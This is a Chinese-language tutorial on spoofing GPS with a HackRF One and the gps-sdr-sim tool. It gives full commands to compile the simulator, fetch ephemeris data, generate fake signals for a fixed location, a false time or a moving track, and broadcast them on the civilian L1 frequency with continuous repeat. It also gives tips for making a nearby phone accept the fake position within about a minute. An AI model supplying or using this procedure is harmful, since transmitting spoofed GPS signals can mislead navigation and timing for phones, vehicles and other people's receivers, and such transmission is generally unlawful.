劫持GPS信号
环境
系统: macOS 10.14.5
硬件: HackRF One、TCXO外部时钟
外部时钟
由于HackRF自带的振荡器频率不够准确,信号不被接收,所需要外置高精度时钟
编译gps-sdr-sim
$ git clone https://github.com/osqzss/gps-sdr-sim.git
$ cd gps-sdr-sim
$ gcc gpssim.c -lm -O3 -o gps-sdr-sim
# 程序默认限制在5分钟(DUSER_MOTION_SIZE=3000),如需增加时间,可在编译时带上参数,同时生成的文件也将变大
$ gcc gpssim.c -lm -O3 -o gps-sdr-sim -DUSER_MOTION_SIZE=4000
生成仿真数据
$ ./gps-sdr-sim -e brdc3540.14n -l 39.915210,116.403900,100 -b 8
# 如需欺骗时间(YYYY/MM/DD,hh:mm:ss)
$ ./gps-sdr-sim -e brdc3540.14n -l 39.915210,116.403900,100 -T 2000/01/01,00:00:00 -b 8
# 如需按轨迹欺骗
$ ./gps-sdr-sim -e brdc3540.14n -u circle.csv -b 8
RINEX星历
brdc3540.14n 为星历数据
ftp://cddis.gsfc.nasa.gov/pub/gps/data/daily/
文件命名规则:brdc3540.14n(ssssdddf.yyt)[8 + 3文件名]
名称 | 标记 | 位数 | 描述 |
---|---|---|---|
brdc | ssss | 0 ~ 4位 | 4字符测站名 |
354 | ddd | 5 ~ 7位 | 观测历元的年纪日 如:001表示1月1日 |
0 | f | 8位 | 一天内的文字序号(时段号)为0 ~ 9,A ~ Z 若为0,则表示文件包含当天内所有的观测数据 |
14 | yy | 1 ~ 2位 | 2位年号 80 ~ 99:1980 ~ 1999 00 ~ 79:2000 ~ 2079 |
n | t | 3位 | 文件类型 o(O):GPS观测值 n(N):卫星导航电文 m(M):气象数据 g(G):GLONASS卫星导航电文 h(H):同步卫星GPS载荷导航电文 c(C):钟文件 |
发射仿真数据
$ hackrf_transfer -t gpssim.bin -f 1575420000 -s 2600000 -a 1 -x 0 -R
-t gpssim.bin 为生成的仿真数据
-f 1575420000 即民用GPS L1波段频率
-s 2600000 采样速率2.6Mbps
-a 1 开启天线增益
-x 指定TX VGA(IF)为0(为了限制影响范围,最大为47)
-R 开启重复发射数据功能
手机将会在1分钟左右欺骗成功,建议手机关闭基站辅助定位
生成运动轨迹数据
先用Google Earth制作路径并导出kml文件
使用SatGen生成标准NMEA轨迹文件,SatGen只有Windows版,Mac没找到合适的软件。
$ ./gps-sdr-sim -e brdc3540.14n -g 轨迹文件 -b 8